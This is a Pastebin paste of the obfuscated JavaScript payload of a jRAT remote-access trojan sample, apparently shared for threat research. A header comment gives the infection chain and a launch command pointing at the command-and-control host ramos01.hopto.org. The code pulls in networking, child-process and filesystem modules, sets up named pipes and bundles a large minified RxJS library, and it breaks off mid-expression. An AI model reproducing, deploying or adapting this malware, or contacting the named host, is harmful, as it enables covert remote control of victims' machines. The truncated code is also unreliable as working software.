guelfoweb

jRAT Italy 12/10/2020

Oct 12th, 2020
9,335
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /*
  2. Source: https://twitter.com/reecdeep/status/1315560451099504640
  3. JAR -> JS (boot.js) -> node.js "arguments": ["--hub-domain", "localhost", "--hub-domain", "ramos01.hopto.org"]
  4. * node.exe --hub-domain localhost --hub-domain ramos01.hopto.org
  5. * node.exe boot.js --hub-domain localhost --hub-domain ramos01.hopto.org
  6.  
  7. Source Code JS jRAT 12/10/2020:
  8. */
  9. var PACK = {
  10.     "script": "! function(t) {
  11.    var e = {};
  12.  
  13.    function n(r) {
  14.        if (e[r]) return e[r].exports;
  15.        var i = e[r] = {
  16.            i: r,
  17.            l: !1,
  18.            exports: {}
  19.        };
  20.        return t[r].call(i.exports, i, i.exports, n), i.l = !0, i.exports
  21.    }
  22.    n.m = t, n.c = e, n.d = function(t, e, r) {
  23.            n.o(t, e) || Object.defineProperty(t, e, {
  24.                enumerable: !0,
  25.                get: r
  26.            })
  27.        }, n.r = function(t) {
  28.            \
  29.            "undefined\"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(t,Symbol.toStringTag,{value:\"Module\"}),Object.defineProperty(t,\"__esModule\",{value:!0})},n.t=function(t,e){if(1&e&&(t=n(t)),8&e)return t;if(4&e&&\"object\"==typeof t&&t&&t.__esModule)return t;var r=Object.create(null);if(n.r(r),Object.defineProperty(r,\"default\",{enumerable:!0,value:t}),2&e&&\"string\"!=typeof t)for(var i in t)n.d(r,i,function(e){return t[e]}.bind(null,i));return r},n.n=function(t){var e=t&&t.__esModule?function(){return t.default}:function(){return t};return n.d(e,\"a\",e),e},n.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},n.p=\"\",n(n.s=9)}([function(t,e){t.exports=require(\"process\")},function(t,e){t.exports=require(\"net\")},function(t,e){t.exports=require(\"fs\")},function(t,e){t.exports=require(\"path\")},function(t,e){t.exports=require(\"util\")},function(t){t.exports=JSON.parse('{\"a\":\"2.0.10\"}')},function(t,e){t.exports=require(\"https\")},function(t,e){t.exports=require(\"child_process\")},function(t,e){t.exports=require(\"os\")},function(t,e,n){\"use strict\";n.r(e);var r=n(1);function i(t){return new Promise(e=>setTimeout(e,t))}function o(t){if(!t.startsWith(\"\\\\\\\\.\\\\pipe\\\\\"))throw new Error(\"invalid path\");return new Promise((e,n)=>{const i=Object(r.createServer)();i.once(\"error\",t=>{n(t),i.close()}),i.listen(t,()=>e(i))})}function s(t){if(!t.startsWith(\"\\\\\\\\.\\\\pipe\\\\\"))throw new Error(\"invalid path\");return new Promise((e,n)=>{const i=Object(r.connect)(t,()=>{e(i)});i.once(\"error\",t=>{n(t),i.destroy(t)})})}var u=n(5),c=function(t,e){return(c=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var n in e)e.hasOwnProperty(n)&&(t[n]=e[n])})(t,e)};\n/*! *****************************************************************************\nCopyright (c) Microsoft Corporation.\n\nPermission to use, copy, modify, and/or distribute this software for any\npurpose with or without fee is hereby granted.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH\nREGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY\nAND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,\nINDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM\nLOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR\nOTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR\nPERFORMANCE OF THIS SOFTWARE.\n***************************************************************************** */function h(t,e){function n(){this.constructor=t}c(t,e),t.prototype=null===e?Object.create(e):(n.prototype=e.prototype,new n)}function a(t){return\"function\"==typeof t}var l=!1,p={Promise:void 0,set useDeprecatedSynchronousErrorHandling(t){t&&(new Error).stack;l=t},get useDeprecatedSynchronousErrorHandling(){return l}};function f(t){setTimeout((function(){throw t}),0)}var d={closed:!0,next:function(t){},error:function(t){if(p.useDeprecatedSynchronousErrorHandling)throw t;f(t)},complete:function(){}},b=function(){return Array.isArray||function(t){return t&&\"number\"==typeof t.length}}();function y(t){return null!==t&&\"object\"==typeof t}var v=function(){function t(t){return Error.call(this),this.message=t?t.length+\" errors occurred during unsubscription:\\n\"+t.map((function(t,e){return e+1+\") \"+t.toString()})).join(\"\\n  \"):\"\",this.name=\"UnsubscriptionError\",this.errors=t,this}return t.prototype=Object.create(Error.prototype),t}(),w=function(){function t(t){this.closed=!1,this._parentOrParents=null,this._subscriptions=null,t&&(this._ctorUnsubscribe=!0,this._unsubscribe=t)}return t.prototype.unsubscribe=function(){var e;if(!this.closed){var n=this._parentOrParents,r=this._ctorUnsubscribe,i=this._unsubscribe,o=this._subscriptions;if(this.closed=!0,this._parentOrParents=null,this._subscriptions=null,n instanceof t)n.remove(this);else if(null!==n)for(var s=0;s<n.length;++s){n[s].remove(this)}if(a(i)){r&&(this._unsubscribe=void 0);try{i.call(this)}catch(t){e=t instanceof v?m(t.errors):[t]}}if(b(o)){s=-1;for(var u=o.length;++s<u;){var c=o[s];if(y(c))try{c.unsubscribe()}catch(t){e=e||[],t instanceof v?e=e.concat(m(t.errors)):e.push(t)}}}if(e)throw new v(e)}},t.prototype.add=function(e){var n=e;if(!e)return t.EMPTY;switch(typeof e){case\"function\":n=new t(e);case\"object\":if(n===this||n.closed||\"function\"!=typeof n.unsubscribe)return n;if(this.closed)return n.unsubscribe(),n;if(!(n instanceof t)){var r=n;(n=new t)._subscriptions=[r]}break;default:throw new Error(\"unrecognized teardown \"+e+\" added to Subscription.\")}var i=n._parentOrParents;if(null===i)n._parentOrParents=this;else if(i instanceof t){if(i===this)return n;n._parentOrParents=[i,this]}else{if(-1!==i.indexOf(this))return n;i.push(this)}var o=this._subscriptions;return null===o?this._subscriptions=[n]:o.push(n),n},t.prototype.remove=function(t){var e=this._subscriptions;if(e){var n=e.indexOf(t);-1!==n&&e.splice(n,1)}},t.EMPTY=function(t){return t.closed=!0,t}(new t),t}();function m(t){return t.reduce((function(t,e){return t.concat(e instanceof v?e.errors:e)}),[])}var _=function(){return\"function\"==typeof Symbol?Symbol(\"rxSubscriber\"):\"@@rxSubscriber_\"+Math.random()}(),g=function(t){function e(n,r,i){var o=t.call(this)||this;switch(o.syncErrorValue=null,o.syncErrorThrown=!1,o.syncErrorThrowable=!1,o.isStopped=!1,arguments.length){case 0:o.destination=d;break;case 1:if(!n){o.destination=d;break}if(\"object\"==typeof n){n instanceof e?(o.syncErrorThrowable=n.syncErrorThrowable,o.destination=n,n.add(o)):(o.syncErrorThrowable=!0,o.destination=new E(o,n));break}default:o.syncErrorThrowable=!0,o.destination=new E(o,n,r,i)}return o}return h(e,t),e.prototype[_]=function(){return this},e.create=function(t,n,r){var i=new e(t,n,r);return i.syncErrorThrowable=!1,i},e.prototype.next=function(t){this.isStopped||this._next(t)},e.prototype.error=function(t){this.isStopped||(this.isStopped=!0,this._error(t))},e.prototype.complete=function(){this.isStopped||(this.isStopped=!0,this._complete())},e.prototype.unsubscribe=function(){this.closed||(this.isStopped=!0,t.prototype.unsubscribe.call(this))},e.prototype._next=function(t){this.destination.next(t)},e.prototype._error=function(t){this.destination.error(t),this.unsubscribe()},e.prototype._complete=function(){this.destination.complete(),this.unsubscribe()},e.prototype._unsubscribeAndRecycle=function(){var t=this._parentOrParents;return this._parentOrParents=null,this.unsubscribe(),this.closed=!1,this.isStopped=!1,this._parentOrParents=t,this},e}(w),E=function(t){function e(e,n,r,i){var o,s=t.call(this)||this;s._parentSubscriber=e;var u=s;return a(n)?o=n:n&&(o=n.next,r=n.error,i=n.complete,n!==d&&(a((u=Object.create(n)).unsubscribe)&&s.add(u.unsubscribe.bind(u)),u.unsubscribe=s.unsubscribe.bind(s))),s._context=u,s._next=o,s._error=r,s._complete=i,s}return h(e,t),e.prototype.next=function(t){if(!this.isStopped&&this._next){var e=this._parentSubscriber;p.useDeprecatedSynchronousErrorHandling&&e.syncErrorThrowable?this.__tryOrSetError(e,this._next,t)&&this.unsubscribe():this.__tryOrUnsub(this._next,t)}},e.prototype.error=function(t){if(!this.isStopped){var e=this._parentSubscriber,n=p.useDeprecatedSynchronousErrorHandling;if(this._error)n&&e.syncErrorThrowable?(this.__tryOrSetError(e,this._error,t),this.unsubscribe()):(this.__tryOrUnsub(this._error,t),this.unsubscribe());else if(e.syncErrorThrowable)n?(e.syncErrorValue=t,e.syncErrorThrown=!0):f(t),this.unsubscribe();else{if(this.unsubscribe(),n)throw t;f(t)}}},e.prototype.complete=function(){var t=this;if(!this.isStopped){var e=this._parentSubscriber;if(this._complete){var n=function(){return t._complete.call(t._context)};p.useDeprecatedSynchronousErrorHandling&&e.syncErrorThrowable?(this.__tryOrSetError(e,n),this.unsubscribe()):(this.__tryOrUnsub(n),this.unsubscribe())}else this.unsubscribe()}},e.prototype.__tryOrUnsub=function(t,e){try{t.call(this._context,e)}catch(t){if(this.unsubscribe(),p.useDeprecatedSynchronousErrorHandling)throw t;f(t)}},e.prototype.__tryOrSetError=function(t,e,n){if(!p.useDeprecatedSynchronousErrorHandling)throw new Error(\"bad call\");try{e.call(this._context,n)}catch(e){return p.useDeprecatedSynchronousErrorHandling?(t.syncErrorValue=e,t.syncErrorThrown=!0,!0):(f(e),!0)}return!1},e.prototype._unsubscribe=function(){var t=this._parentSubscriber;this._context=null,this._parentSubscriber=null,t.unsubscribe()},e}(g);function x(t){for(;t;){var e=t,n=e.closed,r=e.destination,i=e.isStopped;if(n||i)return!1;t=r&&r instanceof g?r:null}return!0}var S=function(){return\"function\"==typeof Symbol&&Symbol.observable||\"@@observable\"}();function T(t){return t}function I(t){return 0===t.length?T:1===t.length?t[0]:function(e){return t.reduce((function(t,e){return e(t)}),e)}}var O=function(){function t(t){this._isScalar=!1,t&&(this._subscribe=t)}return t.prototype.lift=function(e){var n=new t;return n.source=this,n.operator=e,n},t.prototype.subscribe=function(t,e,n){var r=this.operator,i=function(t,e,n){if(t){if(t instanceof g)return t;if(t[_])return t[_]()}return t||e||n?new g(t,e,n):new g(d)}(t,e,n);if(r?i.add(r.call(i,this.source)):i.add(this.source||p.useDeprecatedSynchronousErrorHandling&&!i.syncErrorThrowable?this._subscribe(i):this._trySubscribe(i)),p.useDeprecatedSynchronousErrorHandling&&i.syncErrorThrowable&&(i.syncErrorThrowable=!1,i.syncErrorThrown))throw i.syncErrorValue;return i},t.prototype._trySubscribe=function(t){try{return this._subscribe(t)}catch(e){p.useDeprecatedSynchronousErrorHandling&&(t.syncErrorThrown=!0,t.syncErrorValue=e),x(t)?t.error(e):console.warn(e)}},t.prototype.forEach=function(t,e){var n=this;return new(e=A(e))((function(e,r){var i;i=n.subscribe((function(e){try{t(e)}catch(t){r(t),i&&i.unsubscribe()}}),r,e)}))},t.prototype._subscribe=function(t){var e=this.source;return e&&e.subscribe(t)},t.prototype[S]=function(){return this},t.prototype.pipe=function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];return 0===t.length?this:I(t)(this)},t.prototype.toPromise=function(t){var e=this;return new(t=A(t))((function(t,n){var r;e.subscribe((function(t){return r=t}),(function(t){return n(t)}),(function(){return t(r)}))}))},t.create=function(e){return new t(e)},t}();function A(t){if(t||(t=p.Promise||Promise),!t)throw new Error(\"no Promise impl found\");return t}var j=function(){function t(){return Error.call(this),this.message=\"object unsubscribed\",this.name=\"ObjectUnsubscribedError\",this}return t.prototype=Object.create(Error.prototype),t}(),N=function(t){function e(e,n){var r=t.call(this)||this;return r.subject=e,r.subscriber=n,r.closed=!1,r}return h(e,t),e.prototype.unsubscribe=function(){if(!this.closed){this.closed=!0;var t=this.subject,e=t.observers;if(this.subject=null,e&&0!==e.length&&!t.isStopped&&!t.closed){var n=e.indexOf(this.subscriber);-1!==n&&e.splice(n,1)}}},e}(w),C=function(t){function e(e){var n=t.call(this,e)||this;return n.destination=e,n}return h(e,t),e}(g),B=function(t){function e(){var e=t.call(this)||this;return e.observers=[],e.closed=!1,e.isStopped=!1,e.hasError=!1,e.thrownError=null,e}return h(e,t),e.prototype[_]=function(){return new C(this)},e.prototype.lift=function(t){var e=new P(this,this);return e.operator=t,e},e.prototype.next=function(t){if(this.closed)throw new j;if(!this.isStopped)for(var e=this.observers,n=e.length,r=e.slice(),i=0;i<n;i++)r[i].next(t)},e.prototype.error=function(t){if(this.closed)throw new j;this.hasError=!0,this.thrownError=t,this.isStopped=!0;for(var e=this.observers,n=e.length,r=e.slice(),i=0;i<n;i++)r[i].error(t);this.observers.length=0},e.prototype.complete=function(){if(this.closed)throw new j;this.isStopped=!0;for(var t=this.observers,e=t.length,n=t.slice(),r=0;r<e;r++)n[r].complete();this.observers.length=0},e.prototype.unsubscribe=function(){this.isStopped=!0,this.closed=!0,this.observers=null},e.prototype._trySubscribe=function(e){if(this.closed)throw new j;return t.prototype._trySubscribe.call(this,e)},e.prototype._subscribe=function(t){if(this.closed)throw new j;return this.hasError?(t.error(this.thrownError),w.EMPTY):this.isStopped?(t.complete(),w.EMPTY):(this.observers.push(t),new N(this,t))},e.prototype.asObservable=function(){var t=new O;return t.source=this,t},e.create=function(t,e){return new P(t,e)},e}(O),P=function(t){function e(e,n){var r=t.call(this)||this;return r.destination=e,r.source=n,r}return h(e,t),e.prototype.next=function(t){var e=this.destination;e&&e.next&&e.next(t)},e.prototype.error=function(t){var e=this.destination;e&&e.error&&this.destination.error(t)},e.prototype.complete=function(){var t=this.destination;t&&t.complete&&this.destination.complete()},e.prototype._subscribe=function(t){return this.source?this.source.subscribe(t):w.EMPTY},e}(B);function V(){return function(t){return t.lift(new F(t))}}var F=function(){function t(t){this.connectable=t}return t.prototype.call=function(t,e){var n=this.connectable;n._refCount++;var r=new M(t,n),i=e.subscribe(r);return r.closed||(r.connection=n.connect()),i},t}(),M=function(t){function e(e,n){var r=t.call(this,e)||this;return r.connectable=n,r}return h(e,t),e.prototype._unsubscribe=function(){var t=this.connectable;if(t){this.connectable=null;var e=t._refCount;if(e<=0)this.connection=null;else if(t._refCount=e-1,e>1)this.connection=null;else{var n=this.connection,r=t._connection;this.connection=null,!r||n&&r!==n||r.unsubscribe()}}else this.connection=null},e}(g),D=function(t){function e(e,n){var r=t.call(this)||this;return r.source=e,r.subjectFactory=n,r._refCount=0,r._isComplete=!1,r}return h(e,t),e.prototype._subscribe=function(t){return this.getSubject().subscribe(t)},e.prototype.getSubject=function(){var t=this._subject;return t&&!t.isStopped||(this._subject=this.subjectFactory()),this._subject},e.prototype.connect=function(){var t=this._connection;return t||(this._isComplete=!1,(t=this._connection=new w).add(this.source.subscribe(new k(this.getSubject(),this))),t.closed&&(this._connection=null,t=w.EMPTY)),t},e.prototype.refCount=function(){return V()(this)},e}(O),U=function(){var t=D.prototype;return{operator:{value:null},_refCount:{value:0,writable:!0},_subject:{value:null,writable:!0},_connection:{value:null,writable:!0},_subscribe:{value:t._subscribe},_isComplete:{value:t._isComplete,writable:!0},getSubject:{value:t.getSubject},connect:{value:t.connect},refCount:{value:t.refCount}}}(),k=function(t){function e(e,n){var r=t.call(this,e)||this;return r.connectable=n,r}return h(e,t),e.prototype._error=function(e){this._unsubscribe(),t.prototype._error.call(this,e)},e.prototype._complete=function(){this.connectable._isComplete=!0,this._unsubscribe(),t.prototype._complete.call(this)},e.prototype._unsubscribe=function(){var t=this.connectable;if(t){this.connectable=null;var e=t._connection;t._refCount=0,t._subject=null,t._connection=null,e&&e.unsubscribe()}},e}(C);var Y=function(t){function e(e,n){var r=t.call(this,e,n)||this;return r.scheduler=e,r.work=n,r.pending=!1,r}return h(e,t),e.prototype.schedule=function(t,e){if(void 0===e&&(e=0),this.closed)return this;this.state=t;var n=this.id,r=this.scheduler;return null!=n&&(this.id=this.recycleAsyncId(r,n,e)),this.pending=!0,this.delay=e,this.id=this.id||this.requestAsyncId(r,this.id,e),this},e.prototype.requestAsyncId=function(t,e,n){return void 0===n&&(n=0),setInterval(t.flush.bind(t,this),n)},e.prototype.recycleAsyncId=function(t,e,n){if(void 0===n&&(n=0),null!==n&&this.delay===n&&!1===this.pending)return e;clearInterval(e)},e.prototype.execute=function(t,e){if(this.closed)return new Error(\"executing a cancelled action\");this.pending=!1;var n=this._execute(t,e);if(n)return n;!1===this.pending&&null!=this.id&&(this.id=this.recycleAsyncId(this.scheduler,this.id,null))},e.prototype._execute=function(t,e){var n=!1,r=void 0;try{this.work(t)}catch(t){n=!0,r=!!t&&t||new Error(t)}if(n)return this.unsubscribe(),r},e.prototype._unsubscribe=function(){var t=this.id,e=this.scheduler,n=e.actions,r=n.indexOf(this);this.work=null,this.state=null,this.pending=!1,this.scheduler=null,-1!==r&&n.splice(r,1),null!=t&&(this.id=this.recycleAsyncId(e,t,null)),this.delay=null},e}(function(t){function e(e,n){return t.call(this)||this}return h(e,t),e.prototype.schedule=function(t,e){return void 0===e&&(e=0),this},e}(w)),R=function(t){function e(e,n){var r=t.call(this,e,n)||this;return r.scheduler=e,r.work=n,r}return h(e,t),e.prototype.schedule=function(e,n){return void 0===n&&(n=0),n>0?t.prototype.schedule.call(this,e,n):(this.delay=n,this.state=e,this.scheduler.flush(this),this)},e.prototype.execute=function(e,n){return n>0||this.closed?t.prototype.execute.call(this,e,n):this._execute(e,n)},e.prototype.requestAsyncId=function(e,n,r){return void 0===r&&(r=0),null!==r&&r>0||null===r&&this.delay>0?t.prototype.requestAsyncId.call(this,e,n,r):e.flush(this)},e}(Y),Q=function(){function t(e,n){void 0===n&&(n=t.now),this.SchedulerAction=e,this.now=n}return t.prototype.schedule=function(t,e,n){return void 0===e&&(e=0),new this.SchedulerAction(this,t).schedule(n,e)},t.now=function(){return Date.now()},t}(),G=function(t){function e(n,r){void 0===r&&(r=Q.now);var i=t.call(this,n,(function(){return e.delegate&&e.delegate!==i?e.delegate.now():r()}))||this;return i.actions=[],i.active=!1,i.scheduled=void 0,i}return h(e,t),e.prototype.schedule=function(n,r,i){return void 0===r&&(r=0),e.delegate&&e.delegate!==this?e.delegate.schedule(n,r,i):t.prototype.schedule.call(this,n,r,i)},e.prototype.flush=function(t){var e=this.actions;if(this.active)e.push(t);else{var n;this.active=!0;do{if(n=t.execute(t.state,t.delay))break}while(t=e.shift());if(this.active=!1,n){for(;t=e.shift();)t.unsubscribe();throw n}}},e}(Q),q=new(function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return h(e,t),e}(G))(R),H=new O((function(t){return t.complete()}));function W(t){return t?function(t){return new O((function(e){return t.schedule((function(){return e.complete()}))}))}(t):H}function J(t){return t&&\"function\"==typeof t.schedule}var L,z=function(t){return function(e){for(var n=0,r=t.length;n<r&&!e.closed;n++)e.next(t[n]);e.complete()}};function K(t,e){return new O((function(n){var r=new w,i=0;return r.add(e.schedule((function(){i!==t.length?(n.next(t[i++]),n.closed||r.add(this.schedule())):n.complete()}))),r}))}function Z(t,e){return e?K(t,e):new O(z(t))}function X(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];var n=t[t.length-1];return J(n)?(t.pop(),K(t,n)):Z(t)}function $(t,e){return new O(e?function(n){return e.schedule(tt,0,{error:t,subscriber:n})}:function(e){return e.error(t)})}function tt(t){var e=t.error;t.subscriber.error(e)}L||(L={});var et=function(){function t(t,e,n){this.kind=t,this.value=e,this.error=n,this.hasValue=\"N\"===t}return t.prototype.observe=function(t){switch(this.kind){case\"N\":return t.next&&t.next(this.value);case\"E\":return t.error&&t.error(this.error);case\"C\":return t.complete&&t.complete()}},t.prototype.do=function(t,e,n){switch(this.kind){case\"N\":return t&&t(this.value);case\"E\":return e&&e(this.error);case\"C\":return n&&n()}},t.prototype.accept=function(t,e,n){return t&&\"function\"==typeof t.next?this.observe(t):this.do(t,e,n)},t.prototype.toObservable=function(){switch(this.kind){case\"N\":return X(this.value);case\"E\":return $(this.error);case\"C\":return W()}throw new Error(\"unexpected notification kind value\")},t.createNext=function(e){return void 0!==e?new t(\"N\",e):t.undefinedValueNotification},t.createError=function(e){return new t(\"E\",void 0,e)},t.createComplete=function(){return t.completeNotification},t.completeNotification=new t(\"C\"),t.undefinedValueNotification=new t(\"N\",void 0),t}();var nt=function(t){function e(e,n,r){void 0===r&&(r=0);var i=t.call(this,e)||this;return i.scheduler=n,i.delay=r,i}return h(e,t),e.dispatch=function(t){var e=t.notification,n=t.destination;e.observe(n),this.unsubscribe()},e.prototype.scheduleMessage=function(t){this.destination.add(this.scheduler.schedule(e.dispatch,this.delay,new rt(t,this.destination)))},e.prototype._next=function(t){this.scheduleMessage(et.createNext(t))},e.prototype._error=function(t){this.scheduleMessage(et.createError(t)),this.unsubscribe()},e.prototype._complete=function(){this.scheduleMessage(et.createComplete()),this.unsubscribe()},e}(g),rt=function(){return function(t,e){this.notification=t,this.destination=e}}(),it=function(t){function e(e,n,r){void 0===e&&(e=Number.POSITIVE_INFINITY),void 0===n&&(n=Number.POSITIVE_INFINITY);var i=t.call(this)||this;return i.scheduler=r,i._events=[],i._infiniteTimeWindow=!1,i._bufferSize=e<1?1:e,i._windowTime=n<1?1:n,n===Number.POSITIVE_INFINITY?(i._infiniteTimeWindow=!0,i.next=i.nextInfiniteTimeWindow):i.next=i.nextTimeWindow,i}return h(e,t),e.prototype.nextInfiniteTimeWindow=function(e){if(!this.isStopped){var n=this._events;n.push(e),n.length>this._bufferSize&&n.shift()}t.prototype.next.call(this,e)},e.prototype.nextTimeWindow=function(e){this.isStopped||(this._events.push(new ot(this._getNow(),e)),this._trimBufferThenGetEvents()),t.prototype.next.call(this,e)},e.prototype._subscribe=function(t){var e,n=this._infiniteTimeWindow,r=n?this._events:this._trimBufferThenGetEvents(),i=this.scheduler,o=r.length;if(this.closed)throw new j;if(this.isStopped||this.hasError?e=w.EMPTY:(this.observers.push(t),e=new N(this,t)),i&&t.add(t=new nt(t,i)),n)for(var s=0;s<o&&!t.closed;s++)t.next(r[s]);else for(s=0;s<o&&!t.closed;s++)t.next(r[s].value);return this.hasError?t.error(this.thrownError):this.isStopped&&t.complete(),e},e.prototype._getNow=function(){return(this.scheduler||q).now()},e.prototype._trimBufferThenGetEvents=function(){for(var t=this._getNow(),e=this._bufferSize,n=this._windowTime,r=this._events,i=r.length,o=0;o<i&&!(t-r[o].time<n);)o++;return i>e&&(o=Math.max(o,i-e)),o>0&&r.splice(0,o),r},e}(B),ot=function(){return function(t,e){this.time=t,this.value=e}}();var st=new G(Y),ut=st;var ct=function(){function t(){return Error.call(this),this.message=\"argument out of range\",this.name=\"ArgumentOutOfRangeError\",this}return t.prototype=Object.create(Error.prototype),t}(),ht=function(){function t(){return Error.call(this),this.message=\"no elements in sequence\",this.name=\"EmptyError\",this}return t.prototype=Object.create(Error.prototype),t}();function at(t,e){return function(n){if(\"function\"!=typeof t)throw new TypeError(\"argument is not a function. Are you looking for `mapTo()`?\");return n.lift(new lt(t,e))}}var lt=function(){function t(t,e){this.project=t,this.thisArg=e}return t.prototype.call=function(t,e){return e.subscribe(new pt(t,this.project,this.thisArg))},t}(),pt=function(t){function e(e,n,r){var i=t.call(this,e)||this;return i.project=n,i.count=0,i.thisArg=r||i,i}return h(e,t),e.prototype._next=function(t){var e;try{e=this.project.call(this.thisArg,t,this.count++)}catch(t){return void this.destination.error(t)}this.destination.next(e)},e}(g);function ft(){return\"function\"==typeof Symbol&&Symbol.iterator?Symbol.iterator:\"@@iterator\"}var dt=ft(),bt=function(t){return t&&\"number\"==typeof t.length&&\"function\"!=typeof t};function yt(t){return!!t&&\"function\"!=typeof t.subscribe&&\"function\"==typeof t.then}var vt=function(t){if(t&&\"function\"==typeof t[S])return r=t,function(t){var e=r[S]();if(\"function\"!=typeof e.subscribe)throw new TypeError(\"Provided object does not correctly implement Symbol.observable\");return e.subscribe(t)};if(bt(t))return z(t);if(yt(t))return n=t,function(t){return n.then((function(e){t.closed||(t.next(e),t.complete())}),(function(e){return t.error(e)})).then(null,f),t};if(t&&\"function\"==typeof t[dt])return e=t,function(t){for(var n=e[dt]();;){var r=void 0;try{r=n.next()}catch(e){return t.error(e),t}if(r.done){t.complete();break}if(t.next(r.value),t.closed)break}return\"function\"==typeof n.return&&t.add((function(){n.return&&n.return()})),t};var e,n,r,i=y(t)?\"an invalid object\":\"'\"+t+\"'\";throw new TypeError(\"You provided \"+i+\" where a stream was expected. You can provide an Observable, Promise, Array, or Iterable.\")};function wt(t,e){if(null!=t){if(function(t){return t&&\"function\"==typeof t[S]}(t))return function(t,e){return new O((function(n){var r=new w;return r.add(e.schedule((function(){var i=t[S]();r.add(i.subscribe({next:function(t){r.add(e.schedule((function(){return n.next(t)})))},error:function(t){r.add(e.schedule((function(){return n.error(t)})))},complete:function(){r.add(e.schedule((function(){return n.complete()})))}}))}))),r}))}(t,e);if(yt(t))return function(t,e){return new O((function(n){var r=new w;return r.add(e.schedule((function(){return t.then((function(t){r.add(e.schedule((function(){n.next(t),r.add(e.schedule((function(){return n.complete()})))})))}),(function(t){r.add(e.schedule((function(){return n.error(t)})))}))}))),r}))}(t,e);if(bt(t))return K(t,e);if(function(t){return t&&\"function\"==typeof t[dt]}(t)||\"string\"==typeof t)return function(t,e){if(!t)throw new Error(\"Iterable cannot be null\");return new O((function(n){var r,i=new w;return i.add((function(){r&&\"function\"==typeof r.return&&r.return()})),i.add(e.schedule((function(){r=t[dt](),i.add(e.schedule((function(){if(!n.closed){var t,e;try{var i=r.next();t=i.value,e=i.done}catch(t){return void n.error(t)}e?n.complete():(n.next(t),this.schedule())}})))}))),i}))}(t,e)}throw new TypeError((null!==t&&typeof t||t)+\" is not observable\")}function mt(t,e){return e?wt(t,e):t instanceof O?t:new O(vt(t))}var _t=function(t){function e(e){var n=t.call(this)||this;return n.parent=e,n}return h(e,t),e.prototype._next=function(t){this.parent.notifyNext(t)},e.prototype._error=function(t){this.parent.notifyError(t),this.unsubscribe()},e.prototype._complete=function(){this.parent.notifyComplete(),this.unsubscribe()},e}(g),gt=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return h(e,t),e.prototype.notifyNext=function(t){this.destination.next(t)},e.prototype.notifyError=function(t){this.destination.error(t)},e.prototype.notifyComplete=function(){this.destination.complete()},e}(g);function Et(t,e){if(!e.closed)return t instanceof O?t.subscribe(e):vt(t)(e)}function xt(t,e,n){return void 0===n&&(n=Number.POSITIVE_INFINITY),\"function\"==typeof e?function(r){return r.pipe(xt((function(n,r){return mt(t(n,r)).pipe(at((function(t,i){return e(n,t,r,i)})))}),n))}:(\"number\"==typeof e&&(n=e),function(e){return e.lift(new St(t,n))})}var St=function(){function t(t,e){void 0===e&&(e=Number.POSITIVE_INFINITY),this.project=t,this.concurrent=e}return t.prototype.call=function(t,e){return e.subscribe(new Tt(t,this.project,this.concurrent))},t}(),Tt=function(t){function e(e,n,r){void 0===r&&(r=Number.POSITIVE_INFINITY);var i=t.call(this,e)||this;return i.project=n,i.concurrent=r,i.hasCompleted=!1,i.buffer=[],i.active=0,i.index=0,i}return h(e,t),e.prototype._next=function(t){this.active<this.concurrent?this._tryNext(t):this.buffer.push(t)},e.prototype._tryNext=function(t){var e,n=this.index++;try{e=this.project(t,n)}catch(t){return void this.destination.error(t)}this.active++,this._innerSub(e)},e.prototype._innerSub=function(t){var e=new _t(this),n=this.destination;n.add(e);var r=Et(t,e);r!==e&&n.add(r)},e.prototype._complete=function(){this.hasCompleted=!0,0===this.active&&0===this.buffer.length&&this.destination.complete(),this.unsubscribe()},e.prototype.notifyNext=function(t){this.destination.next(t)},e.prototype.notifyComplete=function(){var t=this.buffer;this.active--,t.length>0?this._next(t.shift()):0===this.active&&this.hasCompleted&&this.destination.complete()},e}(gt);function It(t){return void 0===t&&(t=Number.POSITIVE_INFINITY),xt(T,t)}function Ot(t){return new O((function(e){var n;try{n=t()}catch(t){return void e.error(t)}return(n?mt(n):W()).subscribe(e)}))}function At(t){return!b(t)&&t-parseFloat(t)+1>=0}function jt(t){var e=t.subscriber,n=t.counter,r=t.period;e.next(n),this.schedule({subscriber:e,counter:n+1,period:r},r)}function Nt(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];var n=Number.POSITIVE_INFINITY,r=null,i=t[t.length-1];return J(i)?(r=t.pop(),t.length>1&&\"number\"==typeof t[t.length-1]&&(n=t.pop())):\"number\"==typeof i&&(n=t.pop()),null===r&&1===t.length&&t[0]instanceof O?t[0]:It(n)(Z(t,r))}function Ct(t,e){return function(n){return n.lift(new Bt(t,e))}}var Bt=function(){function t(t,e){this.predicate=t,this.thisArg=e}return t.prototype.call=function(t,e){return e.subscribe(new Pt(t,this.predicate,this.thisArg))},t}(),Pt=function(t){function e(e,n,r){var i=t.call(this,e)||this;return i.predicate=n,i.thisArg=r,i.count=0,i}return h(e,t),e.prototype._next=function(t){var e;try{e=this.predicate.call(this.thisArg,t,this.count++)}catch(t){return void this.destination.error(t)}e&&this.destination.next(t)},e}(g);var Vt=n(6);function Ft(t){return function(e){var n=new Mt(t),r=e.lift(n);return n.caught=r}}var Mt=function(){function t(t){this.selector=t}return t.prototype.call=function(t,e){return e.subscribe(new Dt(t,this.selector,this.caught))},t}(),Dt=function(t){function e(e,n,r){var i=t.call(this,e)||this;return i.selector=n,i.caught=r,i}return h(e,t),e.prototype.error=function(e){if(!this.isStopped){var n=void 0;try{n=this.selector(e,this.caught)}catch(e){return void t.prototype.error.call(this,e)}this._unsubscribeAndRecycle();var r=new _t(this);this.add(r);var i=Et(n,r);i!==r&&this.add(i)}},e}(gt);function Ut(t,e){return xt(t,e,1)}function kt(t){return void 